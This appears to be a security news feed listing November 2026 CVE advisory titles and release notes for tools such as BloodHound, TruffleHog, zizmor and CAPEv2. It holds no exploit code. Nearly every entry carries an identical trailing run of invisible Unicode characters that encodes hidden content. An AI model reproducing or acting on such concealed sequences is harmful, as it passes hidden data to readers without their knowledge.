• TrendAI Lambda functions are now excluded from scanning by default; re-enable scanning for them via a new option on the Configuration tab of Agentless Vulnerability & Threat Detection.

Endpoint Security (EDR/XDR) · 2026-11-03

Trend Vision One Agentless Vulnerability & Threat Detection adds VPC deployment support for AWS via CloudFormation⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Deploy Agentless Vulnerability & Threat Detection directly into your own AWS Virtual Private Cloud (VPC) via CloudFormation for greater network isolation and control, configured through Cloud Security → Cloud Accounts → AWS.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Secrets Detection & Management · 2026-11-03

TruffleHog adds a Composio API key detector and now populates SecretParts for custom regex detector results⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Custom regex detectors now populate the SecretParts field on each detectors.Result, keying every named regex in the config to its first capture group (or full match), making structured secret metadata available downstream.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds a Composio API key detector, enabled via feature.ComposioDetectorEnabled.

Code Security · 2026-11-03

zizmor adds experimental GitHub Actions workflow lockfile support and root-aware input collection to reduce spurious findings⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• zizmor's input collection is now root-aware by default, so invocations like zizmor . no longer collect inputs that GitHub Actions would not actually use, eliminating spurious findings from workflow definitions in vendored directories.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• zizmor's LSP now audits pre-commit inputs.
• zizmor's LSP now honors the didChangeWorkspaceFolders event to keep workspace analysis current when folders are added or removed.

Container & Image Security · 2026-11-02

• CVE-2026-42541: RBAC Reconnaissance via unchecked can_i host capability call (CVSS 4.3, affects v1.32.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-29773: Cross-namespace data exfiltration via deprecated host callback binding (CVSS 4.3, affects v1.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2025-24784: Information leak via AdmissionPolicyGroup Resource (CVSS 4.3, affects >= 1.17.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2025-24376: AdmissionPolicy and AdmissionPolicyGroup policies can be used to alter PolicyReport resources (CVSS 6.5, affects >= 1.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2026-34406: Privilege Escalation via Mass Assignment of is_superuser in User Edit Endpoint (CVSS 8.8, affects <= 2.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Exploitation & C2 · 2026-11-02

• CVE-2024-56363: Server Side Template Injection (CVSS 7.8, affects 1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-94613: Denial of Service via Malformed SAML Messages (CVSS 7.5, affects <= 2026.8.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-94611: Certain stored credentials readable with view permission alone (CVSS 8.1, affects <= 2026.2.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-94612: Authentication bypass in SAML Sources via assertion confusion and replay (CVSS 7.4, affects <= 2026.2.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-94609: Privilege escalation via delegated group and user management (CVSS 8.8, affects <= 2026.5.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-94606: MFA bypass via recipient override in the email authenticator (CVSS 8.9, affects <= 2026.8.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-61574: RAC endpoints and their stored credentials are exposed to any authenticated user, and connections can cross application boundaries (CVSS 8.8, affects <= 2026.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-57580: Account Takeover via SAML NameID Comment Truncation (CVSS 8.7, affects <= 2026.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-54730: Google Chrome device trust stages can be bypassed (affects <= 2026.2.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-55106: LDAP Source debug endpoint accessible without authorization (CVSS 5.3, affects <= 2026.2.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-49443: UserSourceConnection.user and GroupSourceConnection.group are changeable through the API (CVSS 8.8, affects <=2025.12.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-49448: SourceStage bypass via empty POST (CVSS 9.8, affects <=2025.12.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-47201: XML Signature Wrapping in SAML Source ACS allows authentication as arbitrary federated user (CVSS 8.5, affects <= 2025.12.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-41569: WS-Federation wreply origin bypass can exfiltrate signed login responses to attacker-controlled endpoints (CVSS 6.1, affects <= 2026.2.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-42849: Reflected XSS in SFE (CVSS 9.3, affects <= 2026.2.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-41577: SAML source does not validate Conditions, timing, or audience on assertions (CVSS 7.5, affects <= 2025.2.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-40166: Non-admin user can retrieve confidential OAuth client_secret via /api/v3/oauth2/access_tokens/ (affects <= 2026.2.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-25227: Authenticated Remote Code Execution via Policy/Property Mapping test endpoint (CVSS 9.1, affects >= 2021.3.1, < 2025.8.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2026-25748: Forward authentication bypass with malformed session cookie on Traefik and Caddy (CVSS 8.6, affects <= 2025.10.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2025-64708: Invitation expiry is delayed by at least 5 minutes (CVSS 5.8, affects <= 2025.10.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2025-64521: Deactivated service account can authenticate to OAuth (CVSS 4.8, affects <= 2025.10.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2025-53942: Insufficient check for account active status when authenticating with OAuth/SAML Sources (CVSS 7.4, affects < 2025.6.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2025-52553: Insufficient Session verification for Remote Access Control endpoint access (CVSS 9.6, affects < 2025.6.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2025-29928: Deletion of sessions did not revoke sessions when using database session storage (CVSS 8.0, affects < 2025.2.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Identity & Access Management · 2026-11-02

• CVE-2024-52307: Timing attack due to a lack of constant time comparison for metrics view (CVSS 5.6, affects < 2024.10.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2026-12568: Arbitrary File Write in postman_download Module (CVSS 6.5, affects >= 2.1.0, <= 2.8.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2026-12565: Path traversal (Zip-Slip) in unarchive module - incomplete fix for CVE-2025-10284 (CVSS 5.3, affects >= 2.3.1, <= 2.8.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2025-10284: Various issues in unarchive.py can cause arbitrary file write and RCE (CVSS 9.6, affects < 2.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2025-10282: gitlab.py exposes globally configured gitlab API key to on-premise GitLab instances, potentially threatening confidentiality of a gitlab.com API key (CVSS 4.7, affects < 2.7.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2025-10281: git_clone.py can be made to expose a user's github.com API key to an attacker-controlled webserver (CVSS 4.7, affects < 2.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Post-Exploitation · 2026-11-02

BloodHound Enterprise adds Zone nodes and MemberOfZone relationships to represent privilege zones in the attack-path graph⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• BloodHound Enterprise now adds a Zone synthetic node for each privilege-zone asset group tag during analysis, connecting members with MemberOfZone relationships for use in Cypher queries and Findings Prioritization path measurement.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Zone node properties include objectid (in the format zone:<asset_group_tag_id>), displayname, zone (the graph kind, such as Tag_Tier_Zero), and asset_group_tag_id for identifying the underlying asset group tag.
• Zone nodes and MemberOfZone relationships are generated when Findings Prioritization is enabled, and are automatically removed on the next analysis run when the feature is disabled.

Post-Exploitation · 2026-11-02

BloodHound adds a Table layout for Cypher search results with CSV export, column management, and per-node context menus in the Explore graph controls⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds a Table layout to the Explore page that displays Cypher search results as rows and columns with Node Type, Name, Object ID, and Tier Zero columns by default, opening automatically when a Cypher query returns multiple nodes and no edges, and lets you manage columns with options to search, add/remove, sort, reorder, reset column size, reset defaults, and pin columns.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds graph export options: export nodes from the Table layout as a CSV file via All Columns or Selected Columns in the Export option, and export the current graph as a JSON file via the Export menu control, available for all search methods and layouts when graph data is present.
• Adds controls for the Stacked and Sequential layouts in BloodHound Enterprise, including graph direction (Down, Left, Right, or Up) and horizontal/vertical node spacing sliders ranging from Compact to Spacious.

Post-Exploitation · 2026-11-02

BloodHound adds extension bundles — ZIP archives that install an OpenGraph schema, Privilege Zone rules, and saved queries together via PUT /api/v2/extensions⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Install OpenGraph extension components together via PUT /api/v2/extensions with a ZIP bundle containing schema.json, pz_rules.json, and saved_queries.json — BloodHound rolls back all changes if any component fails, leaving no partial installation.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Define Privilege Zone rules in pz_rules.json under a top-level pz_rules array — each rule requires a stable key, a display name, and exactly one Cypher seed with type set to the Cypher type and the query in its value field; enabled and allow_disable both default to true.
• Package saved queries in saved_queries.json under a top-level queries array — each entry requires a stable query_key, a display name, and a Cypher query, with optional description and category fields that drive the Platforms and Categories filters on the Explore page.

Post-Exploitation · 2026-11-02

BloodHound adds extension bundles, CSV findings export, and graph layout controls in v9.9.0⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• The Findings Table adds CSV export (up to 200,000 findings matching current filters and sort order, including prioritization score and rank when Findings Prioritization is enabled) and now marks findings added in the past 24 hours with a New badge to help identify recently surfaced results during triage.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• The /api/v2/search endpoint now matches objectid values exactly (including uppercase and lowercase variants) while keeping fuzzy matching for name searches, and passes the requested result limit to the graph database for ETAC-filtered domain lookups; the /api/v2/audit endpoint now applies the requested date range — including its documented 365-day default — to both returned events and the count field so pagination totals match results, and returns HTTP 400 when after is later than before.
• OpenGraph adds extension bundles: a single file packages an extension's schema with saved queries and Privilege Zone rules so administrators can install everything together.

Post-Exploitation · 2026-11-02

BloodHound adds a PUT /api/v2/attack-paths/findings/{finding_id}/status endpoint to update attack-path finding status programmatically⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Update an attack-path finding's workflow status via PUT /api/v2/attack-paths/findings/{finding_id}/status, setting status to active or in_progress.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Backup & Recovery · 2026-11-02

• CVE-2026-62268: borg extract might modify or disclose out-of-tree files when extracting maliciously crafted archives (affects < 1.4.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Backup & Recovery · 2026-11-02

• CVE-2023-36811: Pre-1.2.5 archives spoofing vulnerability (CVSS 4.7, affects <1.2.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

bpf-linker adds the static relocation model and faster BTF sanitization via LLVM metadata reuse⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• bpf-linker's BTF sanitizer now reuses LLVM metadata, reducing redundant processing during BTF generation.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Runtime Security · 2026-11-02

• CVE-2026-87766: CVE-2026-87766: Sandbox escape: symlink traversal via /oldroot allows writing files outside sandbox during setup (CVSS 8.8, affects < 0.12.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Runtime Security · 2026-11-02

• CVE-2026-41163: CVE-2026-41163: Privilege escalation in setuid mode via ptrace (CVSS 7.0, affects 0.11.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-79705: Local file overwrite by extracting a malicious tar archive (CVSS 6.1, affects < 1.43.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-44517: Build breakout using a Git repository or a tar archive fetched over the network (CVSS 6.3, affects >= v1.38.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2024-11218: Build breakout using malicious Containerfiles and concurrent builds (CVSS 8.6, affects < 1.38.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2024-1753: CVE-2024-1753 container escape at build time (CVSS 8.6, affects 1.35.0 through and including v1.24.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2022-27651: Default inheritable capabilities for linux container should be empty (CVSS 6.8, affects < 1.25.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2021-3602: chroot isolation: environment value leakage to intermediate processes (CVSS 5.5, affects 1.21.2, 1.20.0, 1.19.8, 1.18.0, 1.17.1, 1.16.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Digital Forensics & Incident Response · 2026-11-02

• CVE-2026-24857: Heap-based Buffer Overflow in bulk_extractor (CVSS 9.8, affects >= 1.4, < 2.2.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

WAF, Bot & API Protection · 2026-11-02

• CVE-2026-75514: rDNS bypass via missing forward-confirmation (FCrDNS) in blacklist, greylist, whitelist and antibot (CVSS 5.9, affects < 1.6.13)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

WAF, Bot & API Protection · 2026-11-02

• CVE-2026-54728: Authenticated privilege escalation via Host header handling in BunkerWeb UI and API (affects < 1.6.12)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

WAF, Bot & API Protection · 2026-11-02

• CVE-2026-61718: Read-only Web UI users can delete job cache files due to missing authorization on /cache/ routes (CVSS 5.4, affects >= 1.6.2, < 1.6.12)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

WAF, Bot & API Protection · 2026-11-02

• CVE-2024-53264: Open Redirect Vulnerability in Loading Page (affects <=1.5.11)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2022-21675: Bytecode Viewer v2.10.x Zip Slip (CVSS 7.8, affects v2.10.16)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-24853: Insufficient patch for DNS rebind leading to RCE (CVSS 8.1, affects <0.55.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2025-66025: Improper Handling of External Links in Markdown (CVSS 4.3, affects <=0.52.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2025-53834: Reflected XSS in Caido Toast (CVSS 6.3, affects <0.49.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2025-49004: Hijacking Caido instance during the initial setup via DNS Rebinding to achieve RCE (CVSS 7.5, affects < 0.48.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2025-23039: Cross Site Scripting on URL decode Tooltip (CVSS 5.2, affects = 0.45.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Malware Analysis · 2026-11-02

CAPEv2 adds multi-tenancy isolation with per-group sandbox policies, a reconcile CLI, and a generic plugin hook/startup extension loader⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Manage multi-tenancy entitlements with GroupSandboxPolicy to assign per-group VM allocations, network routes, and machine tags, backed by a side-table TaskAcl with monotonic visibility_seq compare-and-swap synchronization, under the [multitenancy] and [object_storage] config sections in lib/tenancy/.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Run utils/tenancy_reconcile.py with --dry-run, --adopt-public-from-reports, --demote-public, or --task <id> to restamp MongoDB/Elasticsearch reports, preserve public task visibility in task_acl, and drop legacy inline-tenancy SQL columns.
• CAPEv2 now supports vendor-neutral object storage backends — s3, gcs, azure, and local — configured under the [object_storage] section via the opt-in lib.tenancy package.

Reverse Engineering · 2026-11-02

• CVE-2026-55893: Capstone SH disassembler set_reg_n heap buffer overflow via crafted SH2A FPU bytecode (affects <= v6.0.0-Alpha9)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-49263: Capstone WASM br_table instruction-size truncation can cause no-progress disassembly and parser desynchronization (affects commit 511ba599951113828c4e8edd262ee363395bd81d)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-49282: Capstone M68K and RISCV cs_insn_name() invalid IDs can trigger out-of-bounds reads and process crashes (CVSS 5.1, affects commit 511ba599951113828c4e8edd262ee363395bd81d)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-47143: NULL Pointer Dereference with 3DNow!⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ opcodes (CVSS 5.1, affects 6.0.0-Alpha5)

Reverse Engineering · 2026-11-02

• CVE-2025-68114: Unchecked vsnprintf return in SStream_concat allows stack buffer underflow&overflow (CVSS 4.8, affects 6.0.0-Alpha5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2025-67873: Skipdata length unchecked leads to cs_insn.bytes heap buffer overflow (CVSS 4.8, affects 6.0.0-Alpha5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-02

• CVE-2026-62290: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials (CVSS 7.3, affects >= 1.18.0, <= 1.20.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Public Key Infrastructure (PKI) · 2026-11-02

• CVE-2026-25518: cert-manager-controller DoS via Specially Crafted DNS Response (CVSS 5.9, affects v1.18.0,v1.18.1,v1.18.2,v1.18.3,v1.18.4,v1.19.0,v1.19.1,v1.19.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Post-Exploitation · 2026-11-02

• CVE-2026-48113: ACL Bypass via Post-Handshake SSH Channel ExtraData Injection (affects 1.11.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Post-Exploitation · 2026-11-02

• CVE-2024-43798: AUTH environment variable not respected in server entrypoint (CVSS 8.6, affects < v1.10.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2023-28114: cilium-cli disables etcd authorization for clustermesh clusters (CVSS 4.8, affects < 0.13.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Security (EDR/XDR) · 2026-11-02

ClamUI v0.5.0 adds a Network view for TCP/UDP listener snapshots, VirusTotal IP lookups, and a rebuilt Rust/Tauri desktop with firewall auditing across UFW, firewalld, nftabl⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• ClamUI now adds a Network view that shows current TCP/UDP listeners and connections with filtering, copying, and permission-aware process attribution.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• ClamUI now opens VirusTotal IP reports in the browser after explicit confirmation for accepted public IP addresses, without sending port or process information.
• ClamUI's firewall audit now inventories UFW, firewalld, nftables, IPv4/IPv6 iptables, and supported management interfaces in a read-only, non-interactive view.

SIEM · 2026-11-02

• CVE-2025-1385: CVE-2025-1385- Fail input validation in clickhouse-library-bridge API could lead to RCE (affects < 24.3.18.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2024-6873: Specially crafted request could caused undefined behavior which may lead to Remote Code Execution.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ (CVSS 8.1, affects < v24.5.1.1763)

SIEM · 2026-11-02

• CVE-2023-47118: Heap buffer overflow in T64 codec decompression (CVSS 7.0, affects < v23.10.2.13)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-78461: Security Feature Bypass via Notebooks (CVSS 7.4, affects < 1.136.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-69370: Remote Code Execution via Workspace-injected Error Notification Link (CVSS 8.8, affects < 1.141.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-102229: Information Disclosure via Remote Webview Resource Path Traversal (CVSS 6.8, affects < 1.141.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-102233: Workspace Trust Bypass via Terminal Relaunch and Reuse (CVSS 7.8, affects < 1.141.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-81380: Information Disclosure through Automatic Remote Image Fetch in Chat (CVSS 5.3, affects < 1.136.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-81377: Visual Studio Code MCP gallery metadata path traversal (CVSS 6.5, affects >= 1.0.0, < 1.136.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-81381: Azure DevOps access token disclosure through GitHub Copilot Chat workspace settings (CVSS 6.5, affects < 1.136.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-69320: Visual Studio Code web deployments - environmentService.ts - RCE via NODE_OPTIONS --import from URL payload (CVSS 8.8, affects < 1.132.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-39395: verify-blob-attestation reports false positive when payload parsing fails (CVSS 4.3, affects <= v3.0.5, <= v2.6.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-22703: Verification accepts any valid Rekor entry under certain conditions (CVSS 5.5, affects <= 2.6.1, <= 3.0.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2024-29903: Malicious artifacts can cause machine-wide DoS (CVSS 4.2, affects <= 2.2.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2022-36056: Vulnerabilities with blob verification (CVSS 5.5, affects <=1.11.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2022-35929: cosign verify-attestation --type can report a false positive if any attestation exists (CVSS 9.8, affects < 1.10.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

IDS / IPS · 2026-11-02

• CVE-2026-44982: CrowdSec AppSec silently drops request body for chunked / HTTP-2 requests (CVSS 7.2, affects =>1.5.0, =<1.7.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

IDS / IPS · 2026-11-02

